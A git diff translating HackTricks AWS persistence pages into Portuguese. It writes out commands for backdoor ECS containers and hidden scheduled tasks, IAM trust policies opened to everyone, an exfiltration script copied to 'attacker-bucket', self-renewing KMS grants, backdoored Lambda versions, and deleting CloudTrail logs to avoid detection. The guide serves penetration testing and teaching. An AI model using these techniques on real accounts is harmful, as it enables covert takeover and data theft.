policy to a single repository granting yourself (or everybody) access to a repository: +### Política do Repositório +Adicione uma política a um único repositório concedendo a si mesmo (ou a todos) acesso a um repositório: ```bash aws ecr set-repository-policy \ - --repository-name cluster-autoscaler \ - --policy-text file:///tmp/my-policy.json +--repository-name cluster-autoscaler \ +--policy-text file:///tmp/my-policy.json # With a .json such as { - "Version" : "2008-10-17", - "Statement" : [ - { - "Sid" : "allow public pull", - "Effect" : "Allow", - "Principal" : "*", - "Action" : [ - "ecr:BatchCheckLayerAvailability", - "ecr:BatchGetImage", - "ecr:GetDownloadUrlForLayer" - ] - } - ] +"Version" : "2008-10-17", +"Statement" : [ +{ +"Sid" : "allow public pull", +"Effect" : "Allow", +"Principal" : "*", +"Action" : [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] } ``` - > [!WARNING] -> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository. +> Note que o ECR requer que os usuários tenham **permissão** para fazer chamadas à API **`ecr:GetAuthorizationToken`** através de uma política IAM **antes que possam se autenticar** em um registro e enviar ou puxar quaisquer imagens de qualquer repositório Amazon ECR. -### Registry Policy & Cross-account Replication +### Política de Registro & Replicação entre Contas -It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry. +É possível replicar automaticamente um registro em uma conta externa configurando a replicação entre contas, onde você precisa **indicar a conta externa** onde deseja replicar o registro.
-First, you need to give the external account access over the registry with a **registry policy** like: - +Primeiro, você precisa dar à conta externa acesso ao registro com uma **política de registro** como: ```bash aws ecr put-registry-policy --policy-text file://my-policy.json # With a .json like: { - "Sid": "asdasd", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::947247140022:root" - }, - "Action": [ - "ecr:CreateRepository", - "ecr:ReplicateImage" - ], - "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" +"Sid": "asdasd", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::947247140022:root" +}, +"Action": [ +"ecr:CreateRepository", +"ecr:ReplicateImage" +], +"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" } ``` - -Then apply the replication config: - +Então aplique a configuração de replicação: ```bash aws ecr put-replication-configuration \ - --replication-configuration file://replication-settings.json \ - --region us-west-2 +--replication-configuration file://replication-settings.json \ +--region us-west-2 # Having the .json a content such as: { - "rules": [{ - "destinations": [{ - "region": "destination_region", - "registryId": "destination_accountId" - }], - "repositoryFilters": [{ - "filter": "repository_prefix_name", - "filterType": "PREFIX_MATCH" - }] - }] +"rules": [{ +"destinations": [{ +"region": "destination_region", +"registryId": "destination_accountId" +}], +"repositoryFilters": [{ +"filter": "repository_prefix_name", +"filterType": "PREFIX_MATCH" +}] +}] } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index 988626c8f..9c7e087b7 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -4,29 +4,28 @@ ## ECS -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Hidden Periodic ECS Task +### Tarefa Periódica ECS Oculta > [!NOTE] -> TODO: Test - -An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account. +> TODO: Testar +Um atacante pode criar uma tarefa periódica ECS oculta usando o Amazon EventBridge para **agendar a execução de uma tarefa maliciosa periodicamente**. Esta tarefa pode realizar reconhecimento, exfiltrar dados ou manter persistência na conta AWS. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ - { - "name": "malicious-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - } +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} ]' # Create an Amazon EventBridge rule to trigger the task periodically @@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate # Add a target to the rule to run the malicious ECS task aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ - { - "Id": "malicious-ecs-task-target", - "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", - "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", - "EcsParameters": { - "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", - "TaskCount": 1 - } - } +{ +"Id": "malicious-ecs-task-target", +"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", +"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", +"EcsParameters": { +"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", +"TaskCount": 1 +} +} ]' ``` - -### Backdoor Container in Existing ECS Task Definition +### Backdoor Container em Definição de Tarefa ECS Existente > [!NOTE] -> TODO: Test - -An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities. +> TODO: Testar +Um atacante pode adicionar um **container de backdoor furtivo** em uma definição de tarefa ECS existente que roda ao lado de containers legítimos. O container de backdoor pode ser usado para persistência e realizar atividades maliciosas. ```bash # Update the existing task definition to include the backdoor container aws ecs register-task-definition --family "existing-task" --container-definitions '[ - { - "name": "legitimate-container", - "image": "legitimate-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - }, - { - "name": "backdoor-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": false - } +{ +"name": "legitimate-container", +"image": "legitimate-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +}, +{ +"name": "backdoor-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": false +} ]' ``` - -### Undocumented ECS Service +### Serviço ECS Não Documentado > [!NOTE] -> TODO: Test - -An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service. +> TODO: Testar +Um atacante pode criar um **serviço ECS não documentado** que executa uma tarefa maliciosa. Ao definir o número desejado de tarefas para um mínimo e desativar o registro, torna-se mais difícil para os administradores perceberem o serviço malicioso. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ - { - "name": "malicious-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - } +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} ]' # Create an undocumented ECS service with the malicious task definition aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md index bdb282d41..0e991af75 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md @@ -4,22 +4,18 @@ ## EFS -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-efs-enum.md {{#endref}} -### Modify Resource Policy / Security Groups +### Modificar Política de Recursos / Grupos de Segurança -Modifying the **resource policy and/or security groups** you can try to persist your access into the file system. +Modificando a **política de recursos e/ou grupos de segurança**, você pode tentar persistir seu acesso ao sistema de arquivos. -### Create Access Point +### Criar Ponto de Acesso -You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system. +Você poderia **criar um ponto de acesso** (com acesso root a `/`) acessível a partir de um serviço onde você implementou **outra persistência** para manter o acesso privilegiado ao sistema de arquivos. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index c55e0e2ba..7c1dfb77e 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -1,34 +1,33 @@ -# AWS - Elastic Beanstalk Persistence +# AWS - Persistência no Elastic Beanstalk {{#include ../../../banners/hacktricks-training.md}} ## Elastic Beanstalk -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Persistence in Instance +### Persistência na Instância -In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**. +Para manter a persistência dentro da conta AWS, algum **mecanismo de persistência poderia ser introduzido dentro da instância** (cron job, chave ssh...) para que o atacante possa acessá-la e roubar as **credenciais do IAM role do serviço de metadados**. -### Backdoor in Version +### Backdoor na Versão -An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code. +Um atacante poderia inserir uma backdoor no código dentro do repositório S3 para que ele sempre execute sua backdoor e o código esperado. -### New backdoored version +### Nova versão com backdoor -Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application. +Em vez de alterar o código na versão atual, o atacante poderia implantar uma nova versão da aplicação com backdoor. -### Abusing Custom Resource Lifecycle Hooks +### Abusando dos Hooks de Ciclo de Vida de Recursos Personalizados > [!NOTE] -> TODO: Test - -Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**. +> TODO: Testar +O Elastic Beanstalk fornece hooks de ciclo de vida que permitem executar scripts personalizados durante o provisionamento e a terminação da instância. Um atacante poderia **configurar um hook de ciclo de vida para executar periodicamente um script que exfiltra dados ou mantém o acesso à conta AWS**. ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash @@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo # Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook echo 'Resources: - AWSEBAutoScalingGroup: - Metadata: - AWS::ElasticBeanstalk::Ext: - TriggerConfiguration: - triggers: - - name: stealthy-lifecycle-hook - events: - - "autoscaling:EC2_INSTANCE_LAUNCH" - - "autoscaling:EC2_INSTANCE_TERMINATE" - target: - ref: "AWS::ElasticBeanstalk::Environment" - arn: - Fn::GetAtt: - - "AWS::ElasticBeanstalk::Environment" - - "Arn" - stealthyLifecycleHook: - Type: AWS::AutoScaling::LifecycleHook - Properties: - AutoScalingGroupName: - Ref: AWSEBAutoScalingGroup - LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING - NotificationTargetARN: - Ref: stealthy-lifecycle-hook - RoleARN: - Fn::GetAtt: - - AWSEBAutoScalingGroup - - Arn' > stealthy_lifecycle_hook.yaml +AWSEBAutoScalingGroup: +Metadata: +AWS::ElasticBeanstalk::Ext: +TriggerConfiguration: +triggers: +- name: stealthy-lifecycle-hook +events: +- "autoscaling:EC2_INSTANCE_LAUNCH" +- "autoscaling:EC2_INSTANCE_TERMINATE" +target: +ref: "AWS::ElasticBeanstalk::Environment" +arn: +Fn::GetAtt: +- "AWS::ElasticBeanstalk::Environment" +- "Arn" +stealthyLifecycleHook: +Type: AWS::AutoScaling::LifecycleHook +Properties: +AutoScalingGroupName: +Ref: AWSEBAutoScalingGroup +LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING +NotificationTargetARN: +Ref: stealthy-lifecycle-hook +RoleARN: +Fn::GetAtt: +- AWSEBAutoScalingGroup +- Arn' > stealthy_lifecycle_hook.yaml # Attacker applies the new environment configuration aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index e3e1944e7..f6db2fafd 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -1,53 +1,47 @@ -# AWS - IAM Persistence +# AWS - Persistência IAM {{#include ../../../banners/hacktricks-training.md}} ## IAM -For more information access: +Para mais informações, acesse: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -### Common IAM Persistence +### Persistência IAM Comum -- Create a user -- Add a controlled user to a privileged group -- Create access keys (of the new user or of all users) -- Grant extra permissions to controlled users/groups (attached policies or inline policies) -- Disable MFA / Add you own MFA device -- Create a Role Chain Juggling situation (more on this below in STS persistence) +- Criar um usuário +- Adicionar um usuário controlado a um grupo privilegiado +- Criar chaves de acesso (do novo usuário ou de todos os usuários) +- Conceder permissões extras a usuários/grupos controlados (políticas anexadas ou políticas inline) +- Desativar MFA / Adicionar seu próprio dispositivo MFA +- Criar uma situação de Cadeia de Funções (mais sobre isso abaixo na persistência STS) -### Backdoor Role Trust Policies - -You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone): +### Políticas de Confiança de Função de Backdoor +Você pode backdoor uma política de confiança para poder assumi-la para um recurso externo controlado por você (ou para todos): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": ["*", "arn:aws:iam::123213123123:root"] - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": ["*", "arn:aws:iam::123213123123:root"] +}, +"Action": "sts:AssumeRole" +} +] } ``` +### Versão da Política de Backdoor -### Backdoor Policy Version +Dê permissões de Administrador a uma política que não seja sua última versão (a última versão deve parecer legítima), e então atribua essa versão da política a um usuário/grupo controlado. -Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group. +### Backdoor / Criar Provedor de Identidade -### Backdoor / Create Identity Provider - -If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them. +Se a conta já estiver confiando em um provedor de identidade comum (como o Github), as condições da confiança podem ser aumentadas para que o atacante possa abusar delas. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index 7aefbd410..067165199 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -4,40 +4,34 @@ ## KMS -For mor information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} -### Grant acces via KMS policies +### Conceder acesso via políticas KMS -An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information. +Um atacante pode usar a permissão **`kms:PutKeyPolicy`** para **dar acesso** a uma chave a um usuário sob seu controle ou até mesmo a uma conta externa. Consulte a [**página de Privesc KMS**](../aws-privilege-escalation/aws-kms-privesc.md) para mais informações. -### Eternal Grant +### Concessão Eterna -Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key. +Concessões são outra maneira de dar a um principal algumas permissões sobre uma chave específica. É possível dar uma concessão que permite a um usuário criar concessões. Além disso, um usuário pode ter várias concessões (mesmo idênticas) sobre a mesma chave. -Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated. - -(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant) +Portanto, é possível que um usuário tenha 10 concessões com todas as permissões. O atacante deve monitorar isso constantemente. E se em algum momento 1 concessão for removida, outras 10 devem ser geradas. +(Estamos usando 10 e não 2 para poder detectar que uma concessão foi removida enquanto o usuário ainda tem alguma concessão) ```bash # To generate grants, generate 10 like this one aws kms create-grant \ - --key-id \ - --grantee-principal \ - --operations "CreateGrant" "Decrypt" +--key-id \ +--grantee-principal \ +--operations "CreateGrant" "Decrypt" # To monitor grants aws kms list-grants --key-id ``` - > [!NOTE] -> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) +> Um grant pode conceder permissões apenas a partir disso: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 1390c2d55..ff57f0400 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -1,68 +1,64 @@ -# AWS - Lambda Persistence +# AWS - Persistência do Lambda {{#include ../../../../banners/hacktricks-training.md}} ## Lambda -For more information check: +Para mais informações, consulte: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Lambda Layer Persistence +### Persistência da Camada do Lambda -It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way: +É possível **introduzir/backdoor uma camada para executar código arbitrário** quando o lambda é executado de forma furtiva: {{#ref}} aws-lambda-layers-persistence.md {{#endref}} -### Lambda Extension Persistence +### Persistência da Extensão do Lambda -Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. +Abusando das Camadas do Lambda, também é possível abusar das extensões e persistir no lambda, mas também roubar e modificar solicitações. {{#ref}} aws-abusing-lambda-extensions.md {{#endref}} -### Via resource policies +### Via políticas de recursos -It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts: +É possível conceder acesso a diferentes ações do lambda (como invocar ou atualizar código) a contas externas:
-### Versions, Aliases & Weights +### Versões, Aliases & Pesos -A Lambda can have **different versions** (with different code each version).\ -Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\ -This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth. +Um Lambda pode ter **diferentes versões** (com código diferente em cada versão).\ +Então, você pode criar **diferentes aliases com diferentes versões** do lambda e definir pesos diferentes para cada um.\ +Dessa forma, um atacante poderia criar uma **versão 1 com backdoor** e uma **versão 2 com apenas o código legítimo** e **executar apenas a versão 1 em 1%** das solicitações para permanecer furtivo.
-### Version Backdoor + API Gateway +### Backdoor de Versão + API Gateway -1. Copy the original code of the Lambda -2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST - 1. Call the API gateway related to the lambda to execute the code -3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST. - 1. This will hide the backdoored code in a previous version -4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1` - 1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario). -5. Select the POST method created and in Actions select **`Deploy API`** -6. Now, when you **call the function via POST your Backdoor** will be invoked +1. Copie o código original do Lambda +2. **Crie uma nova versão backdooring** o código original (ou apenas com código malicioso). Publique e **implante essa versão** em $LATEST +1. Chame o API gateway relacionado ao lambda para executar o código +3. **Crie uma nova versão com o código original**, publique e implante essa **versão** em $LATEST. +1. Isso ocultará o código com backdoor em uma versão anterior +4. Vá para o API Gateway e **crie um novo método POST** (ou escolha qualquer outro método) que executará a versão com backdoor do lambda: `arn:aws:lambda:us-east-1::function::1` +1. Observe o final :1 do arn **indicando a versão da função** (a versão 1 será a com backdoor neste cenário). +5. Selecione o método POST criado e em Ações selecione **`Implantar API`** +6. Agora, quando você **chamar a função via POST, seu Backdoor** será invocado -### Cron/Event actuator +### Ativador Cron/Event -The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\ -Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**. +O fato de que você pode fazer **funções lambda serem executadas quando algo acontece ou quando algum tempo passa** torna o lambda uma maneira agradável e comum de obter persistência e evitar detecção.\ +Aqui estão algumas ideias para tornar sua **presença na AWS mais furtiva criando lambdas**. -- Every time a new user is created lambda generates a new user key and send it to the attacker. -- Every time a new role is created lambda gives assume role permissions to compromised users. -- Every time new cloudtrail logs are generated, delete/alter them +- Sempre que um novo usuário é criado, o lambda gera uma nova chave de usuário e a envia para o atacante. +- Sempre que um novo papel é criado, o lambda concede permissões de assumir papel a usuários comprometidos. +- Sempre que novos logs do cloudtrail são gerados, exclua/alterar eles. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index 71655ada0..2b80eae24 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -1,46 +1,42 @@ -# AWS - Abusing Lambda Extensions +# AWS - Abusando de Extensões Lambda {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Extensions +## Extensões Lambda -Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**. +As extensões Lambda aprimoram funções integrando-se a várias **ferramentas de monitoramento, observabilidade, segurança e governança**. Essas extensões, adicionadas via [.zip archives usando camadas Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ou incluídas em [implantações de imagens de contêiner](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operam em dois modos: **interno** e **externo**. -- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**. -- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**. +- **Extensões internas** se fundem com o processo de tempo de execução, manipulando seu início usando **variáveis de ambiente específicas de linguagem** e **scripts de wrapper**. Essa personalização se aplica a uma variedade de tempos de execução, incluindo **Java Correto 8 e 11, Node.js 10 e 12, e .NET Core 3.1**. +- **Extensões externas** são executadas como processos separados, mantendo a operação alinhada com o ciclo de vida da função Lambda. Elas são compatíveis com vários tempos de execução, como **Node.js 10 e 12, Python 3.7 e 3.8, Ruby 2.5 e 2.7, Java Corretto 8 e 11, .NET Core 3.1**, e **tempos de execução personalizados**. -For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). +Para mais informações sobre [**como as extensões lambda funcionam, consulte a documentação**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). -### External Extension for Persistence, Stealing Requests & modifying Requests +### Extensão Externa para Persistência, Roubo de Requisições e Modificação de Requisições -This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) +Este é um resumo da técnica proposta neste post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) -It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.** +Foi descoberto que o kernel Linux padrão no ambiente de execução Lambda é compilado com chamadas de sistema “**process_vm_readv**” e “**process_vm_writev**”. E todos os processos são executados com o mesmo ID de usuário, mesmo o novo processo criado para a extensão externa. **Isso significa que uma extensão externa tem acesso total de leitura e gravação à memória heap do Rapid, por design.** -Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request. +Além disso, enquanto as extensões Lambda têm a capacidade de **se inscrever em eventos de invocação**, a AWS não revela os dados brutos para essas extensões. Isso garante que **as extensões não podem acessar informações sensíveis** transmitidas via a requisição HTTP. -The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid. +O processo Init (Rapid) monitora todas as requisições de API em [http://127.0.0.1:9001](http://127.0.0.1:9001/) enquanto as extensões Lambda são inicializadas e executadas antes da execução de qualquer código de tempo de execução, mas após o Rapid.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png

-The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions. +A variável **`AWS_LAMBDA_RUNTIME_API`** indica o **IP** e o número da **porta** da API Rapid para **processos de tempo de execução filhos** e extensões adicionais. > [!WARNING] -> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number. +> Ao alterar a variável de ambiente **`AWS_LAMBDA_RUNTIME_API`** para uma **`porta`** à qual temos acesso, é possível interceptar todas as ações dentro do tempo de execução Lambda (**man-in-the-middle**). Isso é possível porque a extensão é executada com os mesmos privilégios que o Rapid Init, e o kernel do sistema permite a **modificação da memória do processo**, possibilitando a alteração do número da porta. -Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment. +Como **as extensões são executadas antes de qualquer código de tempo de execução**, modificar a variável de ambiente influenciará o processo de tempo de execução (por exemplo, Python, Java, Node, Ruby) à medida que ele inicia. Além disso, **extensões carregadas após** a nossa, que dependem dessa variável, também serão roteadas através da nossa extensão. Essa configuração poderia permitir que malware contornasse completamente as medidas de segurança ou extensões de registro diretamente dentro do ambiente de tempo de execução.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

-The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**. +A ferramenta [**lambda-spy**](https://github.com/clearvector/lambda-spy) foi criada para realizar essa **gravação de memória** e **roubar informações sensíveis** de requisições lambda, outras **requisições de extensões** e até mesmo **modificá-las**. -## References +## Referências - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) - [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index f8a5e2868..cc7c4f64d 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -1,82 +1,75 @@ -# AWS - Lambda Layers Persistence +# AWS - Persistência de Camadas Lambda {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Layers +## Camadas Lambda -A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files. +Uma camada Lambda é um arquivo .zip que **pode conter código adicional** ou outro conteúdo. Uma camada pode conter bibliotecas, um [runtime personalizado](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), dados ou arquivos de configuração. -It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment. +É possível incluir até **cinco camadas por função**. Quando você inclui uma camada em uma função, o **conteúdo é extraído para o diretório `/opt`** no ambiente de execução. -By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version. +Por **padrão**, as **camadas** que você cria são **privadas** à sua conta AWS. Você pode optar por **compartilhar** uma camada com outras contas ou **tornar** a camada **pública**. Se suas funções consumirem uma camada que uma conta diferente publicou, suas funções podem **continuar a usar a versão da camada após ela ter sido excluída, ou após sua permissão para acessar a camada ser revogada**. No entanto, você não pode criar uma nova função ou atualizar funções usando uma versão de camada excluída. -Functions deployed as a container image do not use layers. 